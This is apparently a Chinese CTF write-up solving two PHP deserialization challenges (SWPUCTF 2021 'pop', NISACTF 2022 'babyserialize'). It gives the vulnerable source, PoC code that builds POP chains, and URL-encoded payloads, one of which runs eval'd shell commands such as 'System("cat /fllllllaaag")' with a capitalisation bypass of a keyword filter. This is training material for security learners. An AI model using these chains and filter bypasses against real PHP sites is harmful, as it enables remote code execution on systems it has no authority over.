构造pop链
[SWPUCTF 2021 新生赛]pop
用反推法
从后往前推
这题的最后一步很明显
只要给$admin和$passwd赋值 就会echo flag
所以反推法第一步就是要调用Getflag()函数 找到$this->w00m->{$this->w22m}();
$this->mw00->{$this->w22m}();的意思是调用当前对象的 w00m 属性中名为 $this->w22m 的方法。
所以只需
mw00=w44m w22m = Getflag()即可调用Getflag()
这题的链条是(反推)
class w44m中的Getflag() -> class w33m中的__toString() -> class w22m中的 __destruct()
具体的推导和赋值在注释里:
<?php
error_reporting(0);
show_source("index.php");
class w44m
{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag()//1.想办法调用Getflag()函数 找到$this->w00m->{$this->w22m}();
{
if ($this->admin === 'w44m' && $this->passwd === '08067') {
include('flag.php');
echo $flag;
} else {
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m
{
public $w00m;
public function __destruct()//3.反序列化$w00m时可调用
{
echo $this->w00m;//w00m = w33m
}
}
class w33m
{
public $w00m;
public $w22m;
public function __toString()//2.想办法调用__toString() 找到echo $this->w00m;
{
$this->mw00->{$this->w22m}();//调用当前对象的 w00m 属性中名为 $this->w22m 的方法。
//mw00=w44m w22m = Getflag()
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
poc
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w44m();
$c = new w33m();
$c->w00m = $a;
$c->w22m = 'Getflag';
$b = new w22m();
$b->w00m = $c;
echo serialize($b);
echo urlencode(serialize($b));
?>
因为有私有属性
直接urlencode 省的加%00了
payload:O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"*passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
[NISACTF 2022]babyserialize
先反序列化classNISA 看一下hint
<?php
//include "waf.php";
class NISA
{
public $fun = "show_me_flag";
public $txw4ever;
}
$lcycb = new NISA();
echo serialize($lcycb);
?>
O:4:"NISA":2:{s:3:"fun";s:12:"show_me_flag";s:8:"txw4ever";N;}
告诉我们flag在根目录
这题最后一步也很清晰了
这里有一个命令执行函数
只要给txw4ever赋值一个类似
system(“ls”);
这样的值我们就成功getshell
这里的链小点复杂
我写在注释里
include "waf.php";
class NISA
{
public $fun = "show_me_flag";
public $txw4ever;
public function __wakeup()
{
if ($this->fun == "show_me_flag") {
hint();
}
}
function __call($from, $val)
{
$this->fun = $val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()//1.调用__invoke() 找到$bb = $this->su; return $bb();(54)
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);//1 shell
}
}
class TianXiWei
{
public $ext;
public $x;
public function __wakeup()//5.反序列化 class TianXiWei 即可触发
{
$this->ext->nisa($this->x);//ext = class Ilovetxw
}
}
class Ilovetxw
{
public $huang;
public $su;
public function __call($fun1, $arg){ //4.调用call 调用了对象里不存在的方法 找到 $this->ext->nisa($this->x);(37)
$this->huang->fun = $arg[0];//huang= class four
}
public function __toString()//2.调用__toString() 把对象被当成字符串调用 找调用字符串的指令 找到strtolower($this->a);(67)
{
$bb = $this->su;
return $bb();//su = class NISA
}
}
class four
{
public $a = "TXW4EVER";
private $fun = 'abc';
public function __set($name, $value)//3.调用set() 条件:给不存在的属性赋值 找到$this->huang->fun = $arg[0];(48)
{
$this->$name = $value;
if ($this->fun = "sixsixsix") {
strtolower($this->a);//a=class Ilovetxw
}
}
}
if (isset($_GET['ser'])) {
@unserialize($_GET['ser']);
} else {
highlight_file(__FILE__);
}
构造poc
//poc
class NISA{
public $fun="lcycb";
public $txw4ever="System('ls /');";
}
class TianXiWei{//key
public $ext;//ext = class Ilovetxw $b
public $x;
}
class Ilovetxw{
public $huang;//huang= class four $c
public $su;//su = class NISA $a
}
class four{
public $a="TXW4EVER";//a=class Ilovetxw $b
private $fun='abc';
}
$a = new NISA();
$b = new Ilovetxw();
$c = new four();
$key = new TianXiWei();
$b->su = $a;
$c->a = $b;
$b->huang = $c;
$key->ext = $b;
echo serialize($key);
echo "\n";
echo urlencode(serialize($key));
这里还有两个坑
1 .是要改变$fun 的值
不然无法绕过第一个if语句
回显的永远是那个hint
2.这里有一个waf.php过滤
system被过滤了
但只要大写就能绕过了
payload:
?ser=O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:3:"abc";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:5:"lcycb";s:8:"txw4ever";s:12:"System(ls /)";}}s:1:"x";N;}
?ser=O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:3:"abc";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:5:"lcycb";s:8:"txw4ever";s:27:"System("cat /fllllllaaag");";}}s:1:"x";N;}